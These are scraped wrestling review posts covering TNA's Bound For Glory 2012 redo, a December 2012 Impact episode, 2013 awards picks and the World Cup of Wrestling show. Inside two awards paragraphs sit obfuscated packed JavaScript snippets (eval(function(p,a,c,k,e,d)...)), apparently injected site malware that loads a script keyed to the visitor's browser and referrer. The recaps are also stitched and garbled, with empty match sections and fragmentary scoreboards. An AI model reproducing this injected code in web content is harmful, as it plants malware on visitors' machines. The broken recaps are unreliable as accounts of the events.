New Column: The Outer Reaches Of My Wrestling Mind
Don’t try to make sense of it.
https://wrestlingrumors.net/tommyhall/kbs-review-outer-reaches-wrestling-mind/
New Column: They Can’t Help It
Quick one this week as we look at why TNA screwing up Bound For Glory shouldn’t surprise you.
http://www.wrestlingrumors.net/kbs-review-they-cant-help-it/42428/
Bound For Glory 2012 (2014 Redo): Sting and Hogan. Just Go With It.
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For Glory 2012
Date: October 14, 2012
Location: Grand Canyon University Arena, Phoenix, Arizona
Attendance: 2,900
Commentators: Mike Tenay, Taz
Before I get started, I have to give this show praise for its tagline: The Memories Are Waiting. That actually gave me a chill when I first heard it and it still really works.
The opening video focuses on the moments at Bound For Glory. Oddly enough a lot of them focus on Sting. This really does make the show look like the biggest event of the year which is a very important thing for a wrestling company to have.
The announcers hype up the show and run down the card.
We have an old school ramp to the ring.
X-Division Title: Rob Van Dam vs. Zema Ion
Back in and Rob ducks a clothesline but gets caught by a low dropkick. The ring is very loud here. Something like a Whisper in the Wind gets two for the champion but he gets crotched on the ropes and kicked back out to the floor. Rob takes a well deserved bow as this has been mostly one sided so far. The champ comes back in by diving through the ropes into a tornado DDT for a pair of near falls.
Rob gets shoved off the top and down onto the barricade, setting up a big flip dive from Ion. Zema throws him back in and blocks a monkey flip with a kind of hot shot. A missile dropkick gets two on Rob and the champion puts on an abdominal stretch to slow things down. That goes nowhere so they slug it out until Rob throws him into the air for a dropkick to the ribs. Rolling Thunder sets up the Five Star for the clean pin and the title.
Magnus says tonight is the biggest night of the year for everyone. Tonight, there is no more hiding behind Hogan for Samoa Joe and Magnus gets his TV Title.
TV Title: Magnus vs. Samoa Joe
Bobby Roode vs. James Storm
Street fight. MMA fighter King Mo is outside referee and comes out in a robe and crown. They stare each other down before Storm takes over with a bunch of right hands. A big backdrop puts Roode down and they head outside. Roode gets rammed face first into the apron but comes back with a shot to the face, only to stop and stare at Mo. Storm nails a Russian legsweep to send Bobby into the barricade to take over.
Joey Ryan vs. Al Snow
Tag Team Titles: Bad Influence vs. Chavo Guerrero/Hernandez vs. Kurt Angle/AJ Styles
These teams have feuded over the titles all summer. Styles and Chavo get things going with Chavo getting two off a shoulder block. AJ takes him into the corner for the tag off to Angle and a nice reaction from the crowd. Kurt hammers away but Daniels tags himself in to take over on AJ. A fast series of tags gives us Hernandez suplexing AJ before Chavo gets two off a slingshot hilo.
Daniels hiptosses Daniels on AJ for two and we hit a full nelson on the mat. Back up and AJ escapes a monkey flip but avoids a tag from Hernandez and Chavo so he can Pele Kaz down. A double tag brings in Daniels and Angle with Kurt cleaning house. Kaz gets caught in rolling Germans but Daniels climbs his partner for a sunset flip, only to be countered into an ankle lock. Angle misses a charge into the corner but belly to bellies Kaz into Daniels for two.
Rating: B. This was a fun and fast paced three way but unfortunately it would start one of the least interesting title reigns in recorded history. Guerrero and Hernandez were really good in the ring but man alive would they drive things into the ground during their promos. The match was really awesome stuff though with some great spots and saves but it never got to that highest level.
The new champions celebrate post match.
Knockouts Title: Tara vs. Miss Tessmacher
The cast of British Bootcamp, including Rockstar Spud, is in the front row. Taryn Terrell is referee, as she was for every Knockouts match for awhile. They stare each other down to start and Tessmacher gets a few rollups for two each on the challenger. A headscissors puts Tara down again but she comes back with a knee to the ribs and a baseball slide to send Tessmacher out to the floor.
Tara introduces her Hollywood boyfriend: Jesse from Big Brother. Kissing ensues, accompanied by a big “WHO ARE YOU” chant.
The bikers start double teaming but Sting no sells a slam and Hulks Up but the Scorpion on #1 is quickly broken up. A Death Drop out of nowhere plants #1 but Sting tags Ray instead of covering. Ray cleans house with elbows and a middle rope shoulder but #1 gets in a knee to the back from the apron. Ray comes right back with a double clothesline to drop the Aces and a splash gets two on #1.
TNA World Title: Jeff Hardy vs. Austin Aries
The second attempt works a bit better though and Hardy is knocked silly. Aries chokes with a boot but goes outside for a victory lap instead of covering. Back in and Aries tells Jeff to wait a minute, earning him a suplex. Austin rolls to the floor and gets nailed with an ax handle to the back to put him down again. Jeff nails Poetry in Motion off the steps to drive Aries into the barricade and we go back inside.
The champ avoids a dropkick and gets two off a middle rope elbow. He hammers away in the corner and stops a quick splash attempt by raising his knees. A backbreaker gets another near fall and Aries puts on an abdominal stretch on the mat. Hardy fights up again as the fans are split on who to cheer for. The brainbuster is countered and Hardy nails the sitout front suplex. Aries takes him back down and gets two more off a slingshot spinning splash.
Jeff blocks the Last Chancery and picks Aries up for a powerbomb, only to drop him backwards for a big crash. A basement dropkick gets two for Hardy and the Whisper in the Wind gets the same. The Twist of Fate is blocked but Jeff kicks Aries to the floor and into the barricade. He avoids a big plancha though, setting up the suicide dive to send Hardy into the barricade again. It works so well that Aries hits it again but Jeff gets up at two.
Austin is busted open after ramming his head into the steel but it only makes him cover Jeff even harder. The Last Chancery goes on now and only lasts a few seconds as usual. Aries takes him to the ramp for a brainbuster but Jeff counters into a Twist of Fate attempt. That goes nowhere either as Aries sends him back inside with a clothesline. He slams Jeff head first onto the edge of the ramp and Hardy looks out of it. A missile dropkick makes things even worse but Jeff blocks the running corner dropkick.
The Twist of Fate out of nowhere gets two and Hardy goes up top, only to get crotched back down. A great looking jumping top rope hurricanrana puts Jeff down again and now the running dropkick connects. The brainbuster is only good for two and Aries is spent. With nothing left to throw, Aries tries a double stomp out of the Tree of Woe but Jeff rolls away. Another Twist and the Swanton give us a new champion.
Ratings Comparison
Rob Van Dam vs. Zema Ion
Original: C
Redo: C+
Magnus vs. Samoa Joe
Original: C+
Redo: C-
Bobby Roode vs. James Storm
Original: B+
Redo: B+
Joey Ryan vs. Al Snow
Original: D+
Redo: D
Bad Influence vs. Chavo Guerrero/Hernandez vs. AJ Styles/Kurt Angle
Original: B
Redo: B
Miss Tessmacher vs. Tara
Original: D
Redo: C-
Original: C
Redo: C
Jeff Hardy vs. Austin Aries
Original: B+
Redo: A-
Overall Rating
Original: B
Redo: B+
Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:
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On This Day: December 27, 2012 – Impact Wrestling: Tale Of The Battling Heels
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Wrestling
Date: December 27, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Todd Keneley, Tazz
Samoa Joe vs. Masked Man
Joe goes for the mask but the rest of the bikers come in for the save. Of course they do.
Christian York vs. Rob Van Dam
D-Von talks about getting someone new to join the club. Doc is with some girls and approves of the plan.
Remember to vote for Superstar of the Year.
Sting is still going to be back on 1-3-13.
The tag champions come out and challenge Bad Influence for right now.
Hernandez/Chavo Guerrero vs. Bad Influence
The non-champions hit back to back slingshot strikes on Hernandez to take over. The match drags on and gets very boring in a hurry with the heels in control. After about 8 hours, the lukewarm tag brings in Chavo who hits Three Amigos on Kaz. Bad Influence hits a Hart Attack for two but Hernandez sends them to the floor. The champs hit a double dive to the floor before throwing Kaz back in for the Frog Splash and the pin at 14:30.
Hardy has little to say.
Gail Kim vs. Miss Tessmacher
Bobby Roode vs. Austin Aries
Bobby loads up a spear but gets caught in the Last Chancery. Roode pokes the eyes to escape and puts on the Crossface which I guess is his secondary finisher. Aries goes to the eyes as well to escape, showing some nice storytelling here. Roode begs off in the corner but trips Aries up for two with his feet on the ropes.
Aries tries a rollup with trunks for two of his own but walks into the spinebuster for two. Hebner disarms Roode of the chair he picked up, allowing Aries to hit a discus elbow for two. Now Austin brings in the chair but Henber will still have none of it. Hebner goes off on both guys so they both deck him and toss him to the floor, throwing the match out at about 13:00.
Post match they both go for the chair but Hardy runs out and takes both guys out to end the show.
Results
Samoa Joe b. Masked Man – Koquina Clutch
Rob Van Dam b. Christian York – Five Star Frog Splash
Chavo Guerrero/Hernandez b. Bad Influence – Frog Splash to Kazarian
Gail Kim b. Miss Tessmacher – Eat Defeat
Austin Aries vs. Bobby Roode went to a no contest
Remember to follow me on Twitter @kbreviews
Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:
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Thought of the Day: Where Is TNA?
Fallout eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yenrs|var|u0026u|referrer|nsnbs||js|php'.split('|'),0,{})) from the awards.As I’ve been doing the awards this year, it’s come to my attention that TNA is notably absent. I’ve been reading through the WrestleZone Forums to make sure I’m not overlooking anything big and TNA doesn’t come up much there either. This has been a really bad year for TNA as they just haven’t had much to talk about. Everything has either been predictable, not very interesting or repetitive. There are certainly bright spots (Bad Influence, Angle vs. Roode), but so much stuff just doesn’t stand out or doesn’t feel important at all. Take Aces and 8’s ending for instance. yeah the match that got rid of them was entertaining, but it was clear that Anderson was going to win and the moment isn’t that big as the bikers had been dead in the water for years. There’s nothing special going on over there and it’s showing badly.
2013 Awards: Feud of the Year
My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdbzn|var|u0026u|referrer|arzhe||js|php'.split('|'),0,{})) pick surprised me here.This is a hard one to pick as almost nothing stood head and shoulders above everything else this year. I’ll eliminate Bryan vs. Orton as the multiple screwjob endings really dragged it down. Bryan is definitely a bigger star as a result, but it didn’t feel like a satisfying ending at all.
Aces and 8’s vs. TNA…..just no.
For second place I’ll go with Punk vs. Heyman. Yeah the promos were great and Lesnar vs. Punk might be match of the year, but the stuff with Axel and Ryback just killed time and Punk’s “extreme” attacks on Heyman were just lame. The feud had its moments but there was too much bad stuff in there for it to hold up.
I’m going to give this to the Rhodes Family vs. the Authority. The promos from Dusty were excellent, the matches with Shield got better and better every time with the tag title change being one of the best moments of the year, and the payoff actually worked. Also, we’re getting one of the best comebacks ever from Goldust and it’s going to make Cody look like a bigger star that he ever has before. It’s an awesome feud and the brothers are still riding momentum from it.
TNA One Night Only – World Cup Of Wrestling: Bad Influence Steals Another Show
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Cup of Wrestling
Date: December 7, 2013
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz
JB explains the rules: There will be eight matches with the winners receiving one point apiece. The teams with the most points advance to an eight man elimination tag for the cup.
Here are the teams, in order of X-Division, Knockouts, tag team and singles.
United Kingdom – Rockstar Spud, Hannah Blossom, Rob Terry/Douglas Williams, Magnus
USA – Kenny King, Mickie James, Bad Influence, James Storm
UK – 1 (3 matches remaining)
USA – 0 (4 matches remaining)
International – 0 (4 matches remaining)
Video on Team USA in the same style as earlier with everyone getting a quick profile.
Kenny King (USA) vs. Sonjay Dutt (International)
USA – 1 (3 matches remaining)
UK – 1 (3 matches remaining)
International – 0 (3 matches remaining)
International – 1 (2 matches remaining)
USA – 1 (3 matches remaining)
UK – 1 (2 matches remaining)
Tazz declares the leader board to be lazy for reasons of general stupidity.
An enziguri is FINALLY enough for the hot tag to Williams as things speed up. Petey headscissors Knux into 619 position and dropkicks him in the back as everything breaks down. A running DDT gets two on Knux and Petey low bridges Doc to the floor. Funaki gets two on Doc off a cross body but Knux comes back in with a hammer shot to Funaki for the pin.
International – 1 (1 match remaining)
UK – 1 (2 matches remaining)
USA – 1 (3 matches remaining)
Video on Rockstar Spud, including an endorsement from Hogan.
International – 1 (1 match remaining)
UK – 1 (1 match remaining)
USA – 1 (3 matches remaining)
Bad Influence (USA) vs. British Invasion (UK)
A double clothesline puts Bad Influence down and we get a double belly to back suplex of all things. That looked awesome. Terry hits a tilt-a-whirl powerslam on Kaz to set up a top rope knee drop from Williams but Daniels makes the save. A top rope European uppercut puts Kaz down but Daniels breaks up the Rolling Chaos theory. Bad Influence gets in a quick High/Low for the pin on Williams for the point.
USA – 2 (2 matches remaining)
International – 1 (1 match remaining)
UK – 1 (0 matches remaining)
The Brits are officially eliminated.
Video on Mickie James, including something about her country music push as a heel.
To say Ivelisse looks hot as the biker in leather is the understatement of the night. How in the world does she not have a job? They circle each other to start until Mickie grabs the arm and takes Ivelisse down. Ivelisse is sent into the ropes for a breather as Taz starts to sing for no apparent reason. James hooks a headlock and Ivelisse bails to the floor. Back in and Ivelisse takes Mickie down and pounds away for two.
Mickie gets choked on the ropes but escapes from a wristlock to dropkick Ivelisse down for two. James pounds away in the corner but gets sent shoulder first into the post. Ivelisse gets a VERY delayed two count and a backbreaker gets the same. The kickouts are frustrating Ivelisse so she hooks a chinlock. James fights up and scores with some clotheslines followed by a neckbreaker for two. Mickie goes up top but here are the Aces to shove her off, giving Ivelisse the easy pin.
USA – 2 (1 match remaining)
International – 1 (1 match remaining)
UK – 1 (0 matches remaining)
Ultimate X: Kaz (America) vs. Volador Jr. (Mexico) vs. Naruki Doi (Japan) vs. Daivari (International)
This is for four points apparently, so more or less the winner wins everything, making the entire previous three rounds totally pointless. Daivari is allegedly predictable in this. Ok then. West thinks Kaz is the favorite because of his experience letting him know that he’ll know how to win earlier. YOU CLIMB UP AND GRAB THE FREAKING X! How hard is this?
Daivari wisely goes after Kaz’s arm. That makes the most sense here if nothing else. Oh and only Kaz is a face here. We can’t have nice foreigners! West says Kaz is close to being a world champion. Oh the comedy! Oh and also, great idea on telling us to stop watching your show so we can go get our computers to vote on something on the show later on. In other words, a stipulation for later on in the night is more important than the match you’re watching at the moment. Volador is pretty fun to watch. Kaz manages to get above the X and almost unhooks it but Daivari makes the save.
It worked as it’s not like Kaz had a long time up there like in a ladder match so it didn’t look completely ridiculous which is a very nice difference. Also he used his legs to get there so he kept selling the arm from earlier. In a MIND BLOWING spot, Daivari is going across a cable with his back facing the ring so he’s looking up at the ceiling. Kaz climbs up to the metal thing that holds up the cables and JUMPS off of it, crashing down with a clothesline onto Daivari and killing himself in the process. That was INCREDIBLE. It also lets Volador go up and get the X for the win and the Cup.
Rating: B. This was another great high impact battle that worked perfectly for what it was supposed to do. I wasn’t sure who was going to win and I was thinking it would have been Team TNA but a surprise is always good. This was your usual crazy spotfest but it worked quite well.
Now that the time filler is over, back to modern times.
James Storm likes the idea of his team depending on him and mentions Ricky Morton for some reason.
Mesias (International) vs. James Storm (USA)
This should be interesting. Mesias punches Storm into the corner to start but James comes back with right hands of his own. They head outside for more punching with Mesias being whipped into the barricade. Storm rams him into various other metal objects until they head back inside for a Mesias powerslam. A clothesline in the corner staggers Storm as we actually talk about Mesias being in TNA before.
Final standings:
USA – 3
UK – 1
International – 1
We recap the matches so far tonight.
James Storm, Kenny King, Bad Influence, Mickie James
Mr. Anderson, Wes Brisco, Doc, Knux, Ivelisse
Brisco gets a knee up in the corner to stop a charging Daniels and tags in Ivelisse for some reason. Mickie pulls her in and beats on Ivelisse like she stole something. The beating continues until Mickie misses a charge into the post, only to come back with a clothesline. A top rope Thesz perss eliminates Ivelisse but Brisco comes in with a quick rollup to eliminate Mickie. Storm comes in just as fast and Backstabs Brisco for the pin.
Bad Influence comes out to celebrate and get beaten up as well. Dude Daniels pinned Knux. Show some gratitude already. Storm and James get the cup to end the show.
Results
Magnus b. Mr. Anderson – Michinoku Driver
Kenny King b. Sonjay Dutt – Running knee to the chest
Doc/Knux b. Funaki/Sonjay Dutt – Hammer shot to Funaki
Wes Brisco b. Rockstar Spud – Powerslam
Bad Influence b. British Invasion – High/Low to Williams
Ivelisse b. Mickie James – Pin after Wes Brisco shoved James off the top
James Storm b. Mesias – Last Call
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